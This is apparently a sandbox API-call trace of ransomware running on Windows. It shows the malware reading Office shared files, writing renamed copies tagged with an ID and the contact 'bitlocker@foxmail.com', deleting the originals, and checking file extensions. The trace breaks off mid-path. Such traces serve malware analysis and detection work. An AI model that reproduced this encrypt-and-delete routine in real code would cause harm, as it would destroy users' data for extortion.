1 [0049.584] CloseHandle (hObject=0x1f0) returned 1 [0049.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0049.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.584] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.584] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.585] GetLastError () returned 0x0 [0049.585] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1861, lpOverlapped=0x0) returned 1 [0049.602] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0049.603] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.603] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.603] SetEndOfFile (hFile=0x200) returned 1 [0049.844] CloseHandle (hObject=0x200) returned 1 [0049.845] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.845] SetEndOfFile (hFile=0x1f0) returned 1 [0049.846] CloseHandle (hObject=0x1f0) returned 1 [0049.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.846] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0049.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.846] lstrlenW (lpString=".doc") returned 4 [0049.846] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString=".docx") returned 5 [0049.847] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.847] lstrlenW (lpString=".pdf") returned 4 [0049.847] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString=".xls") returned 4 [0049.847] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString=".xlsx") returned 5 [0049.847] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.847] lstrlenW (lpString=".ppt") returned 4 [0049.847] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.847] lstrlenW (lpString=".zip") returned 4 [0049.847] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.847] lstrlenW (lpString=".rar") returned 4 [0049.847] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString=".bz2") returned 4 [0049.847] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString=".7z") returned 3 [0049.847] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.847] lstrlenW (lpString=".dbf") returned 4 [0049.847] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.847] lstrlenW (lpString=".1cd") returned 4 [0049.847] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.847] lstrlenW (lpString=".jpg") returned 4 [0049.847] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.847] lstrlenW (lpString=".doc") returned 4 [0049.847] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.847] lstrlenW (lpString=".docx") returned 5 [0049.848] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.848] lstrlenW (lpString=".pdf") returned 4 [0049.848] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString=".xls") returned 4 [0049.848] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString=".xlsx") returned 5 [0049.848] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.848] lstrlenW (lpString=".ppt") returned 4 [0049.848] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.848] lstrlenW (lpString=".zip") returned 4 [0049.848] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.848] lstrlenW (lpString=".rar") returned 4 [0049.848] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString=".bz2") returned 4 [0049.848] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString=".7z") returned 3 [0049.848] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.848] lstrlenW (lpString=".dbf") returned 4 [0049.848] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.848] lstrlenW (lpString=".1cd") returned 4 [0049.848] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0049.848] lstrlenW (lpString=".jpg") returned 4 [0049.848] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.848] lstrcmpiW (lpString1=".HTM", lpString2=".wiki") returned -1 [0049.848] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0049.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.849] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=11463) returned 1 [0049.849] CloseHandle (hObject=0x1f0) returned 1 [0049.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0049.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.850] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.850] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.851] GetLastError () returned 0x0 [0049.851] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0049.853] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0049.854] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.854] WriteFile (in: hFile=0x200, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.854] SetEndOfFile (hFile=0x200) returned 1 [0049.854] CloseHandle (hObject=0x200) returned 1 [0049.855] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.855] SetEndOfFile (hFile=0x1f0) returned 1 [0049.856] CloseHandle (hObject=0x1f0) returned 1 [0049.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.856] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0049.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.856] lstrlenW (lpString=".doc") returned 4 [0049.856] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0049.856] lstrlenW (lpString=".docx") returned 5 [0049.856] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0049.856] lstrlenW (lpString=".pdf") returned 4 [0049.856] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0049.856] lstrlenW (lpString=".xls") returned 4 [0049.856] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0049.856] lstrlenW (lpString=".xlsx") returned 5 [0049.856] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0049.856] lstrlenW (lpString=".ppt") returned 4 [0049.856] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0049.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.856] lstrlenW (lpString=".zip") returned 4 [0049.857] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString=".rar") returned 4 [0049.857] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString=".bz2") returned 4 [0049.857] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0049.857] lstrlenW (lpString=".7z") returned 3 [0049.857] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0049.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.857] lstrlenW (lpString=".dbf") returned 4 [0049.857] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0049.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.857] lstrlenW (lpString=".1cd") returned 4 [0049.857] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0049.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.857] lstrlenW (lpString=".jpg") returned 4 [0049.857] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.857] lstrlenW (lpString=".doc") returned 4 [0049.857] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0049.857] lstrlenW (lpString=".docx") returned 5 [0049.857] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0049.857] lstrlenW (lpString=".pdf") returned 4 [0049.857] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString=".xls") returned 4 [0049.857] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString=".xlsx") returned 5 [0049.857] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0049.857] lstrlenW (lpString=".ppt") returned 4 [0049.857] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.857] lstrlenW (lpString=".zip") returned 4 [0049.857] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0049.857] lstrlenW (lpString=".rar") returned 4 [0049.858] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0049.858] lstrlenW (lpString=".bz2") returned 4 [0049.858] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0049.858] lstrlenW (lpString=".7z") returned 3 [0049.858] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0049.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.858] lstrlenW (lpString=".dbf") returned 4 [0049.858] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0049.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.858] lstrlenW (lpString=".1cd") returned 4 [0049.858] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0049.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0049.858] lstrlenW (lpString=".jpg") returned 4 [0049.858] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0049.858] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.858] lstrlenW (lpString="DATES.XML") returned 9 [0049.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.859] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=8918) returned 1 [0049.859] CloseHandle (hObject=0x1f0) returned 1 [0049.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0049.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.859] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.859] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.861] GetLastError () returned 0x0 [0049.861] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0049.863] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0049.863] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.864] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.864] SetEndOfFile (hFile=0x214) returned 1 [0049.864] CloseHandle (hObject=0x214) returned 1 [0049.864] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.864] SetEndOfFile (hFile=0x1f0) returned 1 [0049.865] CloseHandle (hObject=0x1f0) returned 1 [0049.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.865] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.866] lstrlenW (lpString=".doc") returned 4 [0049.866] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString=".docx") returned 5 [0049.866] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0049.866] lstrlenW (lpString=".pdf") returned 4 [0049.866] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString=".xls") returned 4 [0049.866] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString=".xlsx") returned 5 [0049.866] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0049.866] lstrlenW (lpString=".ppt") returned 4 [0049.866] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.866] lstrlenW (lpString=".zip") returned 4 [0049.866] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.866] lstrlenW (lpString=".rar") returned 4 [0049.866] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString=".bz2") returned 4 [0049.866] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString=".7z") returned 3 [0049.866] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.866] lstrlenW (lpString=".dbf") returned 4 [0049.866] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.866] lstrlenW (lpString=".1cd") returned 4 [0049.866] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.866] lstrlenW (lpString=".jpg") returned 4 [0049.866] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.867] lstrlenW (lpString=".doc") returned 4 [0049.867] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString=".docx") returned 5 [0049.867] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0049.867] lstrlenW (lpString=".pdf") returned 4 [0049.867] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString=".xls") returned 4 [0049.867] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString=".xlsx") returned 5 [0049.867] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0049.867] lstrlenW (lpString=".ppt") returned 4 [0049.867] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.867] lstrlenW (lpString=".zip") returned 4 [0049.867] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.867] lstrlenW (lpString=".rar") returned 4 [0049.867] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString=".bz2") returned 4 [0049.867] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString=".7z") returned 3 [0049.867] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.867] lstrlenW (lpString=".dbf") returned 4 [0049.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.867] lstrlenW (lpString=".1cd") returned 4 [0049.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0049.867] lstrlenW (lpString=".jpg") returned 4 [0049.867] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.868] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.868] lstrlenW (lpString="PHONE.XML") returned 9 [0049.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 